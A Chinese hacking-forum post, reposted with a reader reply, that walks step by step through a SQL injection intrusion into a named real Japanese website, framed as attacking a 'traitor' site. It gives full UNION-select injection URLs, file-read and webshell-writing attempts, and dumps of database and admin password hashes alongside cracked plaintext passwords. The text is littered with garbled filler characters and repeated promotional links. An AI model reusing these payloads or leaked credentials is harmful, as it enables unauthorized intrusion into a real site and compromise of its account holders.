原创 检测汉奸站全过程

xiancda

补：www.zuaa.jp测试

0x01. 检测 www.zuaa.jp 收集数据


whatweb


利用NMAP扫描
) l6 L/ N6 \6 o: ?
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
0x02.找注入点
; B. w+ |. \7 ]! F找注入点：http://www.zuaa.jp/php/newsdetail.php?topic_id=390


0x03.order by
             http://www.zuaa.jp/php/newsdetail.php?topic_id=390 order by 1
, s6 `6 [9 c1 F. `9 V
order by 28报错，order by 27正常

0x04.   union手动查询
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
3 W! Y- W, N( f# M+ ~添加到 27 时正常显示

/ T! P: b' B7 k* P中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

0x05. info:
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,group_concat(user(),0x3a,database(),0x3a,version(),0x3a,@@version_conpile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
9 n; }1 {8 ?- Q; v6 F9 g; A
4 K) s% J5 G  S2 {% Fuser:            root@localhost
database:    openpne
" c. c5 \. [; I# Bversion:      4.1.22
, [% L5 P( {/ q1 u% ios:             portbld-freebsd5.4

0x06. root用户
" U1 \% W" T6 M; s, l. T+ D! P8 i利用 load_file(0x...), 读文件 (/etc/passwd), 也可以这样 hex(load_file(0x.....)), 然后把得到的 hex ,再转换成字符的（这种方法， 可以过大多数站）
2 V& B5 U: N0 C. k2 Vhttp://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,hex(load_file(0x2f6574632f706173737764)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
1 G+ h4 U6 Y  X! J
5 R3 g9 g9 _; v0 p通过工具转换

0 H, \* N9 W/ N- v. |# n2 R9 z3 u中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
  E. ~* p* ^3 P& x. W
8 N$ i8 [/ O' O( H4 O0x07. 利用 into outfile
全部都失败
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/zuaa_tech/WEBSITE/htdocs/php/help.php
) h& u; Z9 j/ e9 i2 A4 p) U
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/qian/OpenPNE/lib/help.php

页面显示“MDB2 Error:syntax error”

0x08. 利用 mysql 4.1
3 A  p3 M, V$ Q/ o猜常规表名，字段未果 工具 sqlmap
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

& U( ~& b8 `% I; z" {2 y" r9 X
* q6 k1 d/ z* |2 B
6 _) [9 P7 D" x, E4 b' w0x09. 查找后台
利用 现有的各种 后台工具尝试都不行
8 \0 ^% d( n# p% ?. x; b
0x10.  MySL外联方法
  ]* e7 ~/ }" _3 T1 H从前面 nmap 收集的信息当中，可以看到开了 mysql 3306 端口 ,尝试得 mysql 用户各密码，然后再通过 mysql 工具外连 www.zuaa.jp 不行
) S1 {! S, W5 V0 m( y; \! p3 Q可以利用 mysql ( 4.x 5.) 自带的定义表 mysql.user
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(user,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user

  X" f: T* e5 N' I# Z这个可以在 www.cmd5.com 解密
9 u/ F/ J3 e0 C/ vroot:*3711D518F2924AEFA6F4C6B4B7425CAE8BEB88AB zuaa2009
6 \+ n- E, S$ |+ u% p6 o' X6 wchen:*2A09A939E6B654877DD70B00EA631D1007E58CC9 silkroad97
openpne:*5D80C62EC4D258534F 07D08CCE9CE27DFF26A366 ???
& q9 V; n6 B, b9 u" f8 I6 lzuaa:*5D80C62EC4D258534F07D08CCE9CE27DFF26A366 ???
9 t% _! m. f. c: v工具外连失败，据说防火墙策略只允许特定IP外连，具体不得知
0 s# y: s' W6 I
7 w  K  j* ^0 ]( Z0 ]: |1 m' _
0x11. 网站突破
0 g2 ?8 I$ b. a' g! V2 |( g- l2 W发现网站的源程序 openpne, google 下载 openpne 源码
" _5 l4 A8 s) {& Q0 I3 i! R0 @

) s2 U' }$ K9 _- x, }" e( L+ [+ G- W0x12. 默认信息利用
http://sns.zuaa.jp/?m=admin&a=page_login
/ ~8 o1 D9 h5 D0 \1 M: A+ O
: d2 c; T9 p9 v0 Q+ B  n, K表名 (c_admin_user) ，字段名（username,password）
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+c_admin_user

4 Z% Q- Q0 P' I- z$ ]解密
zuaa_tech:dd041e2 b1b8ecee164a6cb196a496eda,               zuaa2009
1 U  v& i* o3 @7 Y& G9 ezuaajp:c0923ec5857796a393da99905008c176,          zju1897
& D* E, M5 }& Y: v$ Q9 J, t' }) O
5 _! f' R0 D* P: p* X9 K+ K7 B% }中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

0x13. 登录后台


( L; y* `) N6 `9 }5 Q" M+ p7 s
0x14. 小结
, y' c* \2 U. B利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 。
感谢群 ---- 渗透 -酷帅王子 提供注入点 提供注入点
, g2 u* Y- b# w& ~' n) _------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- -------------------------------------------------------By DarkRain
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

5 p/ o; @0 H9 s/ {最后声明：本人只负责了整理上传到论坛，让大家学习，不是原作者，原作者辛苦了！
8 H5 q# j# j* M) W  M

荒村狂客

哪个牛人 费的这劲 入侵的